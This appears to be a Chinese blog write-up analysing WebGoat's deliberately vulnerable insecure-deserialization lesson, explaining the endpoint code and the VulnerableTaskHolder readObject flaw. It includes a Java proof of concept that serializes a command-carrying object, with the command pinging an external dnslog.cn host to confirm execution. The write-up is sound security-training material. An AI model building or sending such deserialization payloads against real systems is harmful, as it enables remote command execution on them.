WebGoat JAVA反序列化漏洞源码分析

目录

InsecureDeserializationTask.java 代码分析

反序列化漏洞知识补充

VulnerableTaskHolder类分析

poc 编写


WebGoat 靶场地址:GitHub - WebGoat/WebGoat: WebGoat is a deliberately insecure application

这里就不介绍怎么搭建了,可以参考其他文章。如下输入框输入数据,提交进行反序列化操作

发现请求路径为 "InsecureDeserialization/task",请求参数为 token

全局搜索该路径,最终定位到如下文件

InsecureDeserializationTask.java 代码分析

提取出InsecureDeserializationTask.java 的主要代码如下,从代码可以看出:

  1. 服务器接收一个 post 请求,路径为"/InsecureDeserialization/task",请求参数为 token。并且将 token 参数中的 - 字符替换为 +,_ 字符替换为 / 。可能因为在某些情况下,由于URL或文件名的限制,Base64编码中的 + 和 / 字符可能会被替换为 - 和 _,所以这里再替换回去。
  2. ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token))) 含义是通过Base64解码得到字节数组,然后利用这些字节数组创建对象输入流。
  3. 最后 Object o = ois.readObject() 执行反序列化操作。当readObject()方法被调用时,Java虚拟机(JVM)会根据字节流中的信息来查找并加载相应的类,这里是VulnerableTaskHolder类。所以此时系统会寻找并加载VulnerableTaskHolder类
public class InsecureDeserializationTask extends AssignmentEndpoint {

  @PostMapping("/InsecureDeserialization/task")
  @ResponseBody
  //定义一个返回AttackResult类型对象的方法,方法名为completed
  //方法接受一个名为token的参数,该参数通过HTTP请求的查询参数(@RequestParam)获取。String类型表示这个参数是一个字符串。
  public AttackResult completed(@RequestParam String token) throws IOException {
    String b64token;
    long before;
    long after;
    int delay;
    //Base64编码通常使用A-Z, a-z, 0-9, +, / 这64个字符来表示。然而,在某些情况下,由于URL或文件名的限制,Base64编码中的 + 和 / 字符可能会被替换为 - 和 _
    //将字符串中所有的 - 字符替换为 + 字符, 将所有的 _ 字符替换为 / 字符
    b64token = token.replace('-', '+').replace('_', '/');
    //Base64.getDecoder().decode(b64token) 将 Base64 编码的字符串解码为字节数组
      // ByteArrayInputStream()创建字节输入流,以便能够以流的方式读取这些字节。
      //new ObjectInputStream 创建对象输入流
    try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token))))
    {
      before = System.currentTimeMillis();         //反序列化前记录当前时间戳
        //执行反序列化,并将反序列化后的对象赋值给类型为 Object 的变量 o
        //当readObject()方法被调用时,Java虚拟机(JVM)会根据字节流中的信息来查找并加载相应的类,这里是VulnerableTaskHolder类。
      Object o = ois.readObject();
      if (!(o instanceof VulnerableTaskHolder)) {  //检查反序列化得到的对象o是否是VulnerableTaskHolder类的实例
        ...
      }
      after = System.currentTimeMillis();     //反序列化后记录当前时间戳
    } 
      ...
    //得到反序列化操作所花费的时间(以毫秒为单位,如果所耗时间在3000毫秒到7000毫秒之间则成功
    delay = (int) (after - before);
    if (delay > 7000) {
      return failed(this).build();
    }
    if (delay < 3000) {
      return failed(this).build();
    }
    return success(this).build();
  }
}

反序列化漏洞知识补充

要想将某个字节序列反序列化为对象,该对象所属的类必须已经存在于系统中,具体来说,必须能够被Java虚拟机(JVM)的类加载器所加载。即VulnerableTaskHolder类必须存在,如果存在则会加载VulnerableTaskHolder类。加载后,JVM 会创建一个该类的实例,用于接收从序列化数据中读取的字段值。

如果被反序列化的类自定义了 readObject 方法,JVM 会在反序列化过程中自动调用该方法。即如果VulnerableTaskHolder 类中存在readObject 方法,并且方法中包含了不安全代码,那么这可能会导致反序列化漏洞的发生。

VulnerableTaskHolder类分析

所以我们看下VulnerableTaskHolder类是否自定义了readObject 方法,发现不仅存在readObject 方法,而且存在命令执行函数,命令执行的参数为成员变量 taskAction。这里仅仅判断了taskAction 值是否以 ping 或者 sleep 开头。

到此,反序列化漏洞的基本条件似乎都被满足了。那如何触发漏洞了?首先需要实例化一个VulnerableTaskHolder类,将其序列化然后 base64 编码即可。其实就是如下 InsecureDeserializationTask 中反序列化的逆过程。

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))

poc 编写

package org.dummy.insecure.framework;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class test {
    public static void main(String[] args) {
        try {
            //创建一个ByteArrayOutputStream实例, 用于在内存中创建一个字节数组缓冲区。这个缓冲区会随着数据的写入而自动增长。
            // 这个类的用途通常是将数据写入到一个字节数组中,而不是写入到文件或网络等外部资源中。
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            //ObjectOutputStream将使用ByteArrayOutputStream提供的字节数组缓冲区来存储序列化的对象数据。
            //换句话说,ObjectOutputStream是负责将对象序列化为字节序列的“写手”,而ByteArrayOutputStream则是它用来存放这些字节序列的“容器”。
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);

            VulnerableTaskHolder taskHolder = new VulnerableTaskHolder("ping", "ping pwqqq1.dnslog.cn");
            //将taskHolder对象序列化为字节序列,并将这些字节序列写入到ObjectOutputStream所使用的ByteArrayOutputStream的字节数组缓冲区中。
            objectOutputStream.writeObject(taskHolder);
            objectOutputStream.flush(); // 确保所有数据都被写入到输出流中

            // 从缓冲区获取序列化后的字节数组
            byte[] serializedBytes = byteArrayOutputStream.toByteArray();
            // 使用 Base64 编码字节数组
            String b64token = Base64.getEncoder().encodeToString(serializedBytes);

            // 输出编码后的字符串到屏幕上
            System.out.println(b64token);

            // 关闭流
            objectOutputStream.close();
            byteArrayOutputStream.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

运行后得到 poc

复制,然后发送,即可进行 ping 操作,成功触发反序列化漏洞

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Ly4j

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值